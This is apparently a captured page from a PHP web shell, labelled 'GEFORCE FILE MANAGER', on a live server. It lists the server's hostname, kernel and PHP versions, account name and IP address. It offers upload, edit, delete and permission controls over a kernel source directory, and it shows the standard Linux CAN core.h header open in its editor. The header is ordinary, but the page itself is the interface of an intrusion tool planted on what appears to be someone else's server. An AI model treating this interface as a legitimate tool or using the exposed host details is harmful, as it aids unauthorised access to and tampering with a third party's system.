[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.20
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
src
/
kernels
/
4.18.0-553.63.1.el8_10.x86_64
/
include
/
linux
/
can
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 dev
SET
[ DEL ]
📁 platform
SET
[ DEL ]
📄 core.h
1,844 B
SET
[ EDIT ]
|
[ DEL ]
📄 dev.h
5,312 B
SET
[ EDIT ]
|
[ DEL ]
📄 led.h
1,154 B
SET
[ EDIT ]
|
[ DEL ]
📄 rx-offload.h
1,917 B
SET
[ EDIT ]
|
[ DEL ]
📄 skb.h
1,938 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: core.h
/* SPDX-License-Identifier: GPL-2.0 */ /* * linux/can/core.h * * Protoypes and definitions for CAN protocol modules using the PF_CAN core * * Authors: Oliver Hartkopp <oliver.hartkopp@volkswagen.de> * Urs Thuermann <urs.thuermann@volkswagen.de> * Copyright (c) 2002-2017 Volkswagen Group Electronic Research * All rights reserved. * */ #ifndef _CAN_CORE_H #define _CAN_CORE_H #include <linux/can.h> #include <linux/skbuff.h> #include <linux/netdevice.h> #define CAN_VERSION "20170425" /* increment this number each time you change some user-space interface */ #define CAN_ABI_VERSION "9" #define CAN_VERSION_STRING "rev " CAN_VERSION " abi " CAN_ABI_VERSION #define DNAME(dev) ((dev) ? (dev)->name : "any") /** * struct can_proto - CAN protocol structure * @type: type argument in socket() syscall, e.g. SOCK_DGRAM. * @protocol: protocol number in socket() syscall. * @ops: pointer to struct proto_ops for sock->ops. * @prot: pointer to struct proto structure. */ struct can_proto { int type; int protocol; const struct proto_ops *ops; struct proto *prot; }; /* function prototypes for the CAN networklayer core (af_can.c) */ extern int can_proto_register(const struct can_proto *cp); extern void can_proto_unregister(const struct can_proto *cp); int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id, canid_t mask, void (*func)(struct sk_buff *, void *), void *data, char *ident, struct sock *sk); extern void can_rx_unregister(struct net *net, struct net_device *dev, canid_t can_id, canid_t mask, void (*func)(struct sk_buff *, void *), void *data); extern int can_send(struct sk_buff *skb, int loop); extern int can_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg); #endif /* !_CAN_CORE_H */